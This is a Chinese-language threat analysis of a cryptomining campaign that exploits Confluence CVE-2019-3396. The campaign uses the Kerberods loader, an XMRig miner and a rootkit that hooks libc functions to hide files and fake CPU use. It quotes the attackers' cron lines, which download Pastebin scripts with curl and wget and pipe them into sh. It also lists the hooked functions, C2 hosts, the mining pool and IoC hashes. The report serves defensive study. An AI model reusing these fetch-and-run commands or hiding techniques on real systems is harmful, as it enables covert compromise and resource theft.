使用Rootkit实现恶意挖矿:CVE-2019-3396漏洞新型恶意利用方式分析

概述

Confluence是一个广泛使用的协作与规划软件。在2019年3月,Atlassian发布了一份咨询报告,涉及到两个Confluence的关键漏洞。4月,我们观察到其中一个漏洞,即工具连接器漏洞CVE-2019-3396被威胁参与者恶意利用以执行恶意攻击。安全提供商Alert Logic还发现该漏洞被利用于投放Gandcrab勒索软件。

上述这些事件,应该不会是我们最后一次发现CVE-2019-3396的开发利用事件,因为威胁行为者仍然在寻找利用此漏洞的新方法。我们发现,该漏洞还被利用于提供一个加密货币挖掘的恶意软件,其中包含一个旨在隐藏其活动的Rootkit。这种技术很容易让我们联想到2018年11月发生的另一起使用挖矿工具+Rootkit组合的攻击。

投放和传播

该恶意活动的感染链如下:

在攻击开始时,首先发送一个远程命令,从Pastebin下载Shell脚本(hxxps://pastebin[.]com/MjGrx7EA)。

该Shell脚本会终止某些进程,然后从另一个Pastebin(hxxps://pastebin[.]com/CvJM3qz5)下载并执行lsd_1文件。该文件是第二个Shell脚本,它会投放第三个Shell脚本lsd_2,该脚本来自另一个Pastebin(hxxps://pastebin[.]com/a3EAddwq)。

这一Shell脚本负责从下面的服务器中,下载木马程序:中国菜刀

gwjyhs[.]com
img[.]sobot[.]com

恶意软件Kerberods(检测为Trojan.Linux.KERBERDS.A)是一个自定义打包的二进制文件,该恶意软件会通过cron任务来自行安装:

*/10* * * * curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/15* * * * wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/10* * * * root curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/15* * * * root wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rPB8eDpu||wget -q -O-hxxps://pastebin[.]com/raw/rPB8eDpu)|sh

Kerberods负责投放加密货币挖掘工具(khugepageds,检测为Coinminer.Linux.MALXMR.UWEJI)及Rootkit组件。

在这里,有一个非常值得关注的地方,就是二进制文件投放Rootkit的方式。首先,它将Rootkit的代码写入名为/usr/local/lib/{random filename}.c的文件中。

然后,通过gcc编译Rootkit,输出二进制文件到/usr/local/lib/{random filename}.so。

编译Rootkit代码:

Kerberods还有多种传播方式,比如利用CVE-2019-1003001和CVE-2019-1003000漏洞通过SSH方式传播。

至于khugepageds,它是一个XMRig 2.14.1-mo1 门罗币(Monero)挖矿工具,该挖矿的配置信息以硬编码的形式保存到二进制文件中:

挖矿工具的配置:

我们可以在systemten[.]org:51640访问该挖矿工具所使用的矿池。

使用Rootkit逃避检测

如前文所述,此次攻击与去年发生的攻击事件具有许多相同的特征,例如:都使用了Pastebin作为C&C服务器、挖矿Payload相同、使用Rootkit来隐藏恶意软件。

与Kerberods一样,挖矿工具Payload也是用自定义加壳工具来防止安全研究人员的分析。天空彩

与仅对readdir函数进行挂钩从而隐藏挖矿进程的旧版本Rootkit不同,新版本对更多函数进行了挂钩。在新版本中,不仅隐藏了挖矿进程,还隐藏了某些文件和网络流量。除此之外,还能够伪造主机的CPU使用率。

新版本恶意软件挂钩的函数包括:

fopen、fopen64、lstat、lxstat、open、rmdir、stat、stat64、__xstat、__xstat64、unlink、unlinkat、opendir、readdir、readdir6。

如果它们的参数中包含诸如rootkit、miner或ld.so.preload这样的文件名,那么大多数挂钩函数都会返回“No such file or directory error”(无此类文件或目录错误)。

被挂钩的函数返回错误,以隐藏恶意软件感染的迹象:

下图展示了加载Rootkit时和未加载Rootkit时的htop系统监控输出。我们可以重点关注加载Rootkit后如何隐藏CPU使用率和挖矿过程。

下图为htop系统监控工具的输出,左图为未加载Rootkit时,右图为加载Rootkit时:

下图为netstat的输出,左图为未加载Rootkit时,右图为加载Rootkit时:

下图为伪造CPU使用率和TCP连接的函数:

伪造网络流量:

伪造CPU使用率:

Rootkit还将挂钩访问函数作为一种持久化的方式,以便创建一个cron任务,从而在该任务被调用时重新安装恶意软件。

下图展示了用于下载和执行Kerberods的cron任务代码:

安全建议和解决方案

在很短的时间内,我们就已经看到了多起利用CVE-2019-3396的实际攻击事件。这表明网络犯罪分子致力于(并且能够)以多种方式滥用当前最新的漏洞。因此,作为防御者,更应该开展持续监控,以检测组织中存在的任何威胁。

为了进行有效地监控,组织可以使用混合云安全解决方案,该解决方案可以针对DevOps提供强大、简单和自动化的安全保障。此外,该方案中还具有多种威胁防御技术,用于保护物理主机、虚拟主机和云主机。借助一些服务器深度安全防护系统,可以帮助DevOps和安全团队在预运行和运行时扫描容器映像,并确保其安全性。

该恶意活动的检测规则为:

· Atlassian Confluence服务器远程执行代码漏洞(CVE-2019-3396)

IoC

kerberods(加密货币挖掘二进制文件)

· SHA-256:a9228b6a3fe0b8375d6b881626fd4b59fbbf54dbd60a94b085ee0455b3d18fe9

· 检测名称:Trojan.Linux.KERBERDS.A

Khugepageds(加密货币挖掘恶意软件)

· SHA-256:25064a5ab78cdd36e7049d00b9319222906dd634908c1858e2262bf333631213

· 检测名称:Coinminer.Linux.MALXMR.UWEJI

random.so(Rootkit)

· SHA-256:3392589c9ebbf7600035574e338d69625cd5ce83ee655582fe8bbadb663532b3

· 检测名称:Rootkit.Linux.KERBERDS.A

你可能感兴趣的:(使用Rootkit实现恶意挖矿:CVE-2019-3396漏洞新型恶意利用方式分析)